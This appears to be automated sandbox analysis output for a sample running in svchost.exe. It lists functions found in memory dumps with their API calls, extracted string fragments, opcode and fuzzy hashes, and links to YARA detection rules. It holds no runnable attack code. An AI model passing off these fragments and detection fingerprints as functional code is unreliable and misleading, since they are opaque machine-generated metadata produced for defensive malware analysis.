String ID:
API String ID: 3472027048-0
Opcode ID: fc225bbe94933eb33cc50918f81a022241756b3523dcc4dcf5fcb212389b569a
Instruction ID: 28de96be55c1869ced3a0b17fa502c5bb079a434e7ebc53955fd6ec6f576bb32
Opcode Fuzzy Hash: fc225bbe94933eb33cc50918f81a022241756b3523dcc4dcf5fcb212389b569a
Instruction Fuzzy Hash: 3DD0A730904D099FC6BDE76DC844B6222E4DF8C350716026AB01DC3151CB50ECC08791

Uniqueness

Uniqueness Score: -1.00%

Function 00072970, Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(?,?,?,?,?,?,?,?,?,00082CD6), ref: 00072976

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 88d8501aeed1b2aaba89517e4a39f7e3beb145fa3aba8090abdb632124a90da3
Instruction ID: 9f2bfd4b32732549b255968667717d3c987bb7400890885b475e7a371e75fe58
Opcode Fuzzy Hash: 88d8501aeed1b2aaba89517e4a39f7e3beb145fa3aba8090abdb632124a90da3
Instruction Fuzzy Hash: 20B01230432618028D5C333D0C5B05A3450F308014BC04908F90AC0080D81EC2E68341

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00062720, Relevance: 11.7, Strings: 9, Instructions: 480COMMON

Download Yara Rule

Strings

qrst, xrefs: 0006275B
89o1, xrefs: 0006274C
hi5k, xrefs: 0006276A
Zfbc, xrefs: 00062779
MEDy, xrefs: 0006273D
FGKL, xrefs: 00062797
HJIA, xrefs: 000627A6
RSlU, xrefs: 00062788
, xrefs: 000629CD

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Heap$AllocateCreate
String ID: $89o1$FGKL$HJIA$MEDy$RSlU$Zfbc$hi5k$qrst
API String ID: 2875408731-282953138
Opcode ID: bc3ce507c37320418d89d62300f10016fb7921e99e7182b65c0e7520c4a09c04
Instruction ID: 07d7ceef6a73a52aff5a44f1cc8289621b2358aca0dbfca3da0e089f6f4d504b
Opcode Fuzzy Hash: bc3ce507c37320418d89d62300f10016fb7921e99e7182b65c0e7520c4a09c04
Instruction Fuzzy Hash: C6D1253160DB884FD765EB2CD4897EBBBD1EBAA300F04196ED0C9C7293DA758885C742

Uniqueness

Uniqueness Score: -1.00%

Function 0007BE20, Relevance: 5.8, Strings: 4, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 0007C3D1
@, xrefs: 0007C023
, xrefs: 0007C0E3
@, xrefs: 0007C0A4

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID: $@$@$@
API String ID: 0-1323428884
Opcode ID: 2f1c30e4355df5ce987a49b6398e4fb633b88910cea2903889ed84599fec0861
Instruction ID: bdd182402de1cfe9cb49e51111f768f6edefc607ca0e875b12e9e536880004d5
Opcode Fuzzy Hash: 2f1c30e4355df5ce987a49b6398e4fb633b88910cea2903889ed84599fec0861
Instruction Fuzzy Hash: 2312672185DED90A972D1A7D28451B0BFD0D72732171CD3AEE8EECB6C3D80D894786E9

Uniqueness

Uniqueness Score: -1.00%

Function 00077840, Relevance: 3.1, Strings: 2, Instructions: 563COMMON

Download Yara Rule

Strings

ZJKP, xrefs: 00077D97
r, .text-headline, .text-subcaption, .text-subheader, .text-subtitle, .text-title, h1, h2, h3, h4, h5, h6, p { margin-top: 0px; margin-bottom: 0px; outline: 0; vertical-align: top;}h1, h2, h3, h4, h5, h6 { color: #003399; font, xrefs: 00077AEA

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID: ZJKP$r, .text-headline, .text-subcaption, .text-subheader, .text-subtitle, .text-title, h1, h2, h3, h4, h5, h6, p { margin-top: 0px; margin-bottom: 0px; outline: 0; vertical-align: top;}h1, h2, h3, h4, h5, h6 { color: #003399; font
API String ID: 0-2784465946
Opcode ID: 75e1d0559dd5fa7a70cb84e67876f84125602842be1ba8823a0bdbb1b9de9fb6
Instruction ID: 66cd6cf52300337cbff3612fed8265d48d822c73b0f0b6f2c0c96dba777044a5
Opcode Fuzzy Hash: 75e1d0559dd5fa7a70cb84e67876f84125602842be1ba8823a0bdbb1b9de9fb6
Instruction Fuzzy Hash: 1EE1BF22A5CA880BE71D563C9C462F93BC2E785350F18E67DE5DFC32C7E92C89474649

Uniqueness

Uniqueness Score: -1.00%

Function 000717B0, Relevance: 3.0, Strings: 2, Instructions: 530COMMON

Download Yara Rule

Strings

h, xrefs: 00071854
8, xrefs: 00071CBB

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID: 8$h
API String ID: 0-1740137974
Opcode ID: 7aed1a90be4f932e8698f7b37da724ca6d98fe31256990d5da436900d7e5fd63
Instruction ID: cc85b19d022988dc0cbe0eaac002cf21daabeeb013137b90399b4fee6445c5f3
Opcode Fuzzy Hash: 7aed1a90be4f932e8698f7b37da724ca6d98fe31256990d5da436900d7e5fd63
Instruction Fuzzy Hash: 7B023C30608B488FE7A4DF29D8587EAB7E1FBD8314F50862DD49EC3290DB789945CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00080870, Relevance: 1.9, Strings: 1, Instructions: 669COMMON

Download Yara Rule

Strings

, xrefs: 000808C9

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 1ba80a394e2deafb9bc3319bfedb4bd605db2a28173c5ddfc18bc03943075a37
Instruction ID: aadcfd9aae948d421d40b53827b56029d96a4b7969bdd5435f6eea63bd562f82
Opcode Fuzzy Hash: 1ba80a394e2deafb9bc3319bfedb4bd605db2a28173c5ddfc18bc03943075a37
Instruction Fuzzy Hash: 65227530618A498FD7B9EB28C855BEBB3D1FB98300F44852D948EC3292DF78D945CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0006EBE0, Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

/, xrefs: 0006EC2E

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 15f8dfb11dd284cc5a49b7491dbee0b81e4321f224ecde7467a66f6c93352a45
Instruction ID: f28a9fe95051005f7e04d4278239d4fdf8d8d74451ddd950235afd15b63b3ef8
Opcode Fuzzy Hash: 15f8dfb11dd284cc5a49b7491dbee0b81e4321f224ecde7467a66f6c93352a45
Instruction Fuzzy Hash: 6B81D075A28E188FC7A8DB1CD484B65B3E2FB98364F65429DE44EC7262DA31DC42C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 000644C0, Relevance: 1.5, Strings: 1, Instructions: 285COMMON

Download Yara Rule

Strings

!"}@, xrefs: 000769FC

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID: !"}@
API String ID: 0-3998139362
Opcode ID: 237222b2e1718d0479b96263266bc2fe1be2c9655932234973bf200172ac915d
Instruction ID: 555d5ab32404283c74ff9e4e05ae39b4ee0b9077c0473fb2150560d844acfaaa
Opcode Fuzzy Hash: 237222b2e1718d0479b96263266bc2fe1be2c9655932234973bf200172ac915d
Instruction Fuzzy Hash: 0C61DB22A5CE5C0FE72996B558D11F13BC2DB93310B29D2ABC4DBC7093E41F888BC294

Uniqueness

Uniqueness Score: -1.00%

Function 0006A280, Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

0, xrefs: 0006A419

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 7d6674d8501c5f29cd7c076f40cf7e76a12db3f63aa8b95f004543d2f823be79
Instruction ID: 656131bf6659d4ea1258cdcc06446e92b593f1c6fec22910afe0db24372d869a
Opcode Fuzzy Hash: 7d6674d8501c5f29cd7c076f40cf7e76a12db3f63aa8b95f004543d2f823be79
Instruction Fuzzy Hash: 1F814B30318B488FDB94EF28C488BAAB7E2FF99344F54496CE04AD7261DB75D945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000714F0, Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

:, xrefs: 0007153F

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: 1677ed82288f17edd17ffb8e67e3f3a094efd26010015e2446209e313eeac948
Instruction ID: 5633ce19301e8d8b63f9bd52a4e6396acfdaebb7061c83e87e3b0076f5b20a8d
Opcode Fuzzy Hash: 1677ed82288f17edd17ffb8e67e3f3a094efd26010015e2446209e313eeac948
Instruction Fuzzy Hash: 40619F30A18A088FD799EB1D9894BEAB3D2FBC9344F84851DE44ED3191DF79D902874A

Uniqueness

Uniqueness Score: -1.00%

Function 0006CEB0, Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

\, xrefs: 0006CFF8

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Heap$AllocateCreate
String ID: \
API String ID: 2875408731-2967466578
Opcode ID: b352560f988b5bbae6cb73b6543d48cb884cf95cc8e2eba8cf2cf95c96945747
Instruction ID: 72b9170f04d49dbee17c76eb4e7bc4eb0e967b353d83655ca1f7df39a8319fd6
Opcode Fuzzy Hash: b352560f988b5bbae6cb73b6543d48cb884cf95cc8e2eba8cf2cf95c96945747
Instruction Fuzzy Hash: FD718331318A088FE759EB58D895BABB3E2FBD9300F54852DE44AC3252DE79D905C782

Uniqueness

Uniqueness Score: -1.00%

Function 0006E310, Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

, xrefs: 0006E34D

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Heap$AllocateCreate
String ID:
API String ID: 2875408731-3916222277
Opcode ID: 062634c3ffe23963cab8ebd538c691ed659ef689911f69eeeac589d5b3af43e9
Instruction ID: 6b3d7ca459baa9072863da70f7c4afed1de1bae261a22cf06949e608e00fe8c5
Opcode Fuzzy Hash: 062634c3ffe23963cab8ebd538c691ed659ef689911f69eeeac589d5b3af43e9
Instruction Fuzzy Hash: 8A514C3161CB484FEBA4DF29D84876BB7E5FB99715F00862EA48AC3250DF75D8418B82

Uniqueness

Uniqueness Score: -1.00%

Function 00073B00, Relevance: .7, Instructions: 707COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e722b985f02180b11db3a18c42468327e88cbb415e7e248f1f3996fae248c32
Instruction ID: 1ef90c85f0a9c2f88acc02762a562d479695bb82847d17e0639bfb4379d2c3ab
Opcode Fuzzy Hash: 8e722b985f02180b11db3a18c42468327e88cbb415e7e248f1f3996fae248c32
Instruction Fuzzy Hash: A812C730B18A088BEB996B65E8597EA76D6FB94301F40C12DF54EC31D1EF7CC941878A

Uniqueness

Uniqueness Score: -1.00%

Function 00076D10, Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91a81116cb67d6f65b7ef64210f0373a665ab52e3bbf44c85497d7e4929eaae0
Instruction ID: b14e8718c38dd8d25307a2ae274a18c9ebd4b48c722725087be76d8883de31d9
Opcode Fuzzy Hash: 91a81116cb67d6f65b7ef64210f0373a665ab52e3bbf44c85497d7e4929eaae0
Instruction Fuzzy Hash: C0B1293191DB084BEB64AB1894517FB73E1FB843C4F50811DE88EC3292EF69C905878B

Uniqueness

Uniqueness Score: -1.00%

Function 00065DF0, Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a881ecc1c776f03fc74524cd827dba6552c3fafe7e93d9e2e77fbed68d95aeec
Instruction ID: 8ecaee7ef80ac14297790c85d72f8fba8b199a99a51518bf283073e12cd4d131
Opcode Fuzzy Hash: a881ecc1c776f03fc74524cd827dba6552c3fafe7e93d9e2e77fbed68d95aeec
Instruction Fuzzy Hash: 71914C3020CB088FDB98EB18D885B6AB7E2FBD9344F50456DF58AC3261DB75E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00072580, Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5b8cd32b12f9fa71ebffffd69d4d4635323a74f5c9998eb98b05607ba07dff6
Instruction ID: ff1fa00e0504b44e9eebfbc322c82c5647be9ec7ccde2a2faf9891f0455d7a7f
Opcode Fuzzy Hash: a5b8cd32b12f9fa71ebffffd69d4d4635323a74f5c9998eb98b05607ba07dff6
Instruction Fuzzy Hash: 90716A33FAA3314BDB6C843998801AA63C1E765710FAA663EDCDBE7143D458DC0782C5

Uniqueness

Uniqueness Score: -1.00%

Function 0007B700, Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf3d833ae1fbee5bcdf6d2f03c941de1fd4db33f080df6da229472038c8b21f
Instruction ID: 3e7b00b5e6d020014f3501db7c249402bb516ab3c0df078afda6a0b21cf4034e
Opcode Fuzzy Hash: ccf3d833ae1fbee5bcdf6d2f03c941de1fd4db33f080df6da229472038c8b21f
Instruction Fuzzy Hash: 7F816021A5DAD80ED729963C98453F67BC1D7EE314F1887ADD4CEC7187D819884AC3C6

Uniqueness

Uniqueness Score: -1.00%

Function 00081890, Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c89f0bf0c6a955e4d3144e8b17a2fdda1718e256683817fe4cfeef0faec82b
Instruction ID: 2667b7696f968ac78d2536c94fd571f5e96c808ad7d1910c349a823800a3b23e
Opcode Fuzzy Hash: c6c89f0bf0c6a955e4d3144e8b17a2fdda1718e256683817fe4cfeef0faec82b
Instruction Fuzzy Hash: 4051B570715A194FD798FB68E8556B9B2D6FF88380F44116DE48EC3252EE34DD02838B

Uniqueness

Uniqueness Score: -1.00%

Function 00076100, Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889df00d84cc0f23b4ef348e7081ea64f089cd1b754a01ca7becb6deecbc06c2
Instruction ID: 60bbfb5dd82c5bdf4208d6644de8a4f8114c24788423a9f2b8f887dcbeb8d6af
Opcode Fuzzy Hash: 889df00d84cc0f23b4ef348e7081ea64f089cd1b754a01ca7becb6deecbc06c2
Instruction Fuzzy Hash: E961360055DFD40AE30E463E54662F6BFD0D76B319F5853AEE9DB83283D40D960BC29A

Uniqueness

Uniqueness Score: -1.00%

Function 000763A8, Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38e53dedcfd1e83323be41a46281655b1c743b52ae9144f771b981298c1d97dd
Instruction ID: 6384541a91370a2f88237e8579816f6d50d90d393049b065d67e599aafbac570
Opcode Fuzzy Hash: 38e53dedcfd1e83323be41a46281655b1c743b52ae9144f771b981298c1d97dd
Instruction Fuzzy Hash: E0616737E69F29479B2C85B498800FA63C0FB65314F9B563ADC8BE7181E96DCD0642C9

Uniqueness

Uniqueness Score: -1.00%

Function 000790E0, Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d0b12d1620503c334b2b4542a3aa9dad3e53836a7b6f49de0dadf16c39f266d
Instruction ID: 2a9e003acd6b4b358c30bb38d66c2eb1a7e4cb242030b11fecd8a0f00806457b
Opcode Fuzzy Hash: 1d0b12d1620503c334b2b4542a3aa9dad3e53836a7b6f49de0dadf16c39f266d
Instruction Fuzzy Hash: BC51F430B18E1D0B86A9B72D64163BE72C7EBD9750F55816DE84EC3283EE588D0343CA

Uniqueness

Uniqueness Score: -1.00%

Function 00075F70, Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee1bea99151f1d682e6d4f6cc6e29ab93c3e09fb906640174c84d237fd159d5c
Instruction ID: 67a3883e61eaea6a91fd48f5d758de69472ceb90d84e5c5d59e8d6f8d88a78ae
Opcode Fuzzy Hash: ee1bea99151f1d682e6d4f6cc6e29ab93c3e09fb906640174c84d237fd159d5c
Instruction Fuzzy Hash: BE313A21B1CF0D0B5678667D68066BB72C2E7D5320B45832EE94FC3246ED5A9C1242C6

Uniqueness

Uniqueness Score: -1.00%

Function 0007CE70, Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Heap$AllocateCreate
String ID:
API String ID: 2875408731-0
Opcode ID: 8f7759d18fa17f0352e8e51f3be370a98a485d48f881053fd418253215e018e3
Instruction ID: 95aad5cddc572ce061b41dc313e168a439c7599ad78f8c4aa35f023a458d9630
Opcode Fuzzy Hash: 8f7759d18fa17f0352e8e51f3be370a98a485d48f881053fd418253215e018e3
Instruction Fuzzy Hash: D8410532B20D0557EF2CABB8D83F5BAB651DF98304304976FD407CAAD5ED2581858388

Uniqueness

Uniqueness Score: -1.00%

Function 0007CA00, Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0efb3975b939e561dc131483b7bdd5fe14ad02f3ed6df95635d4923e4141a67f
Instruction ID: afb5301cfff6b0808a114cb03a755442af16e216d2268587ef2591d5c1124b6b
Opcode Fuzzy Hash: 0efb3975b939e561dc131483b7bdd5fe14ad02f3ed6df95635d4923e4141a67f
Instruction Fuzzy Hash: 6D31EEAABB598013A34C85399C6367522C7E7DA31B32CF27DEAD7C52C7D82CC9034409

Uniqueness

Uniqueness Score: -1.00%

Function 00077630, Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc22a0a213bd3eddd3000a91b435e81c30db90cca76bbf7bc7d3eb90803b17c0
Instruction ID: 232f940bc4d703211fef23339225cfb750dfc60123be6ee18fbcadca8c2bf4aa
Opcode Fuzzy Hash: dc22a0a213bd3eddd3000a91b435e81c30db90cca76bbf7bc7d3eb90803b17c0
Instruction Fuzzy Hash: F141B113F68C550BE78CE52ACC523AE2483DBD4350F19C13AE00FC768ADEBC98069396

Uniqueness

Uniqueness Score: -1.00%

Function 0007B240, Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ab334025cc5612cc81bf1d84b161c9c1b053f5c2623229f1e2628dd710538ab
Instruction ID: e3b9fdb8355ee86f8336419b667745fc6d03f475668cb46619ac408cef0a5e71
Opcode Fuzzy Hash: 7ab334025cc5612cc81bf1d84b161c9c1b053f5c2623229f1e2628dd710538ab
Instruction Fuzzy Hash: DD311C31A08A184FC758EB1CD81577AB3D1FB89320F41826DE49ED3692DB29DD4287CA

Uniqueness

Uniqueness Score: -1.00%

Function 00110040, Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357136499.0000000000110000.00000040.00000001.sdmp, Offset: 00110000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0efb3975b939e561dc131483b7bdd5fe14ad02f3ed6df95635d4923e4141a67f
Instruction ID: f7eccd06eb45963484a0231e26cebca72523ee4295a8b34d66d9eb0d3fced284
Opcode Fuzzy Hash: 0efb3975b939e561dc131483b7bdd5fe14ad02f3ed6df95635d4923e4141a67f
Instruction Fuzzy Hash: E031EEAABB594017A30C85399C633B522C7E7DA31A32CF67DEAD7C52C7D92CC9434409

Uniqueness

Uniqueness Score: -1.00%

Function 0007B050, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0196cea8bec9dfbfa23a2ad95feb348667cb1528ac58daa92477c84fcf878c3b
Instruction ID: b50e9a1006c8149b7e65f16cc3be963162108b9e18c61647e753c9884c2b66fc
Opcode Fuzzy Hash: 0196cea8bec9dfbfa23a2ad95feb348667cb1528ac58daa92477c84fcf878c3b
Instruction Fuzzy Hash: B1117B4871EE8549A70C523D199D635FAC0E77631235CD3AEE09FC69E3DD48C487815D

Uniqueness

Uniqueness Score: -1.00%

Function 000772A0, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4425e35c512c7905e8dbb584640508dc014d92fb60bd156dfebaca9adeb2f20c
Instruction ID: 67a501fbb4b370f8dd29d6e35598f0020aa385fe740e94da6f1ec2e8e64aa090
Opcode Fuzzy Hash: 4425e35c512c7905e8dbb584640508dc014d92fb60bd156dfebaca9adeb2f20c
Instruction Fuzzy Hash: 9221293270CA144FE768AB38AC49BFA76D2E7C5764F01422EE84ED3145DA39DD0287C1

Uniqueness

Uniqueness Score: -1.00%

Function 000698D0, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 263fd620b7615036ad91b1998dd8076679fa4e3057aa67ac8be286c013dc1a7e
Instruction ID: d528c3d6011dff7db89ff989c59037a9b15fa6a5cd77e34e2cd78620bc2bbba1
Opcode Fuzzy Hash: 263fd620b7615036ad91b1998dd8076679fa4e3057aa67ac8be286c013dc1a7e
Instruction Fuzzy Hash: D72125315196094EDB745E0C8448778B7EFFB85320F28141EC4CAC3A02DAB6AC81C3E2

Uniqueness

Uniqueness Score: -1.00%

Function 00073860, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 295039740f2cbbf5fed3fcf76d11a9394a5e62db02e3cee7db39ecfb2521b774
Instruction ID: 8f54513f743205ad5db660674b0a18705fa6919bdf7b145c746a3cddebb4a4f6
Opcode Fuzzy Hash: 295039740f2cbbf5fed3fcf76d11a9394a5e62db02e3cee7db39ecfb2521b774
Instruction Fuzzy Hash: DE012231B08F0D0E66F8A56EA804977B3D1EB89220311932EF45EC3202ED79DC42929B

Uniqueness

Uniqueness Score: -1.00%

Function 000624E0, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eedbf4fb752af916b50b4369ebf4c11ac91017742f4cfc46c4c8139c568aefa5
Instruction ID: 91ce267f7ae21e37eb10ec682a78673be0b57e441fec97a144701bf38be37954
Opcode Fuzzy Hash: eedbf4fb752af916b50b4369ebf4c11ac91017742f4cfc46c4c8139c568aefa5
Instruction Fuzzy Hash: EC118E14269E810AD32D1A2C4466274F7C2E7AB70AB6863FDC4D3DA5E3D85614838186

Uniqueness

Uniqueness Score: -1.00%

Function 0006E9E0, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6e76917f19e3956aebe98a043ae35b77cc686d63c77a80041fd0a43bbc80c69
Instruction ID: 8cdf01027e1634d50b63fdea18879aeab31a32cfd62d8534e4b47d88b3f3b1a0
Opcode Fuzzy Hash: c6e76917f19e3956aebe98a043ae35b77cc686d63c77a80041fd0a43bbc80c69
Instruction Fuzzy Hash: FE11AC35654D1C4F9995F72DE8502FDB2E3FBCC31079940A8E40EC3252DE68AC4283C6

Uniqueness

Uniqueness Score: -1.00%

Function 0006BEC0, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35a84fef91ebd231cd595b842e75e94742a42bb7ba0f9053572fa68a87044969
Instruction ID: 7c8d2a2306beb5f073ac400f68e36e115525e8e92082f1305b47b4685ab289b1
Opcode Fuzzy Hash: 35a84fef91ebd231cd595b842e75e94742a42bb7ba0f9053572fa68a87044969
Instruction Fuzzy Hash: 890146D563AA420AAF2C1F311ED51BC72C3E7B2354BB8913CD983C18A3FA06C5C34548

Uniqueness

Uniqueness Score: -1.00%

Function 0006EAD0, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560e6a23cc83d760b71f7b18a3e747a9364d9c171f49b35192518ae87a33829f
Instruction ID: b8fcde7120d1895dd6a50f3988219af66d19bb984d7a776340855f9b2d17eaca
Opcode Fuzzy Hash: 560e6a23cc83d760b71f7b18a3e747a9364d9c171f49b35192518ae87a33829f
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exe PID: 2296 Parent PID: 2408 svchost.exeCOMMON

Executed Functions

Function 00000001800A0200, Relevance: 125.3, APIs: 1, Strings: 70, Instructions: 1059libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000001800A05D8

Strings

v, xrefs: 00000001800A0237
,, xrefs: 00000001800A0830
O, xrefs: 00000001800A0A05
<, xrefs: 00000001800A0B1E
C, xrefs: 00000001800A050C
+, xrefs: 00000001800A0255
}, xrefs: 00000001800A0232
E, xrefs: 00000001800A024B
q, xrefs: 00000001800A0C17
v, xrefs: 00000001800A023C
H, xrefs: 00000001800A0AE2
Z, xrefs: 00000001800A0826
Z, xrefs: 00000001800A0507
3, xrefs: 00000001800A0BFE
R, xrefs: 00000001800A0B0A
C, xrefs: 00000001800A051B
-, xrefs: 00000001800A0539
\, xrefs: 00000001800A0525
,, xrefs: 00000001800A0835
C, xrefs: 00000001800A052F
B, xrefs: 00000001800A0B14
2, xrefs: 00000001800A0918
^, xrefs: 00000001800A0817
3, xrefs: 00000001800A0BEF
], xrefs: 00000001800A0A14
2, xrefs: 00000001800A0922
K, xrefs: 00000001800A0821
f, xrefs: 00000001800A0C0D
u, xrefs: 00000001800A08FF
H, xrefs: 00000001800A0B0F
, xrefs: 00000001800A0AEC
5, xrefs: 00000001800A0502
[, xrefs: 00000001800A0A23
Z, xrefs: 00000001800A0A28
C, xrefs: 00000001800A0534
:, xrefs: 00000001800A0C1C
=, xrefs: 00000001800A0927
G, xrefs: 00000001800A022D
Y, xrefs: 00000001800A092C
0, xrefs: 00000001800A0C12
h, xrefs: 00000001800A0B00
2, xrefs: 00000001800A0909
/, xrefs: 00000001800A08FA
B, xrefs: 00000001800A0AE7
n, xrefs: 00000001800A0B05
9, xrefs: 00000001800A09EC
<, xrefs: 00000001800A025A
S, xrefs: 00000001800A090E
T, xrefs: 00000001800A09FB
#, xrefs: 00000001800A0A0A
=, xrefs: 00000001800A0913
Z, xrefs: 00000001800A091D
0, xrefs: 00000001800A0BE0
<, xrefs: 00000001800A0AF1
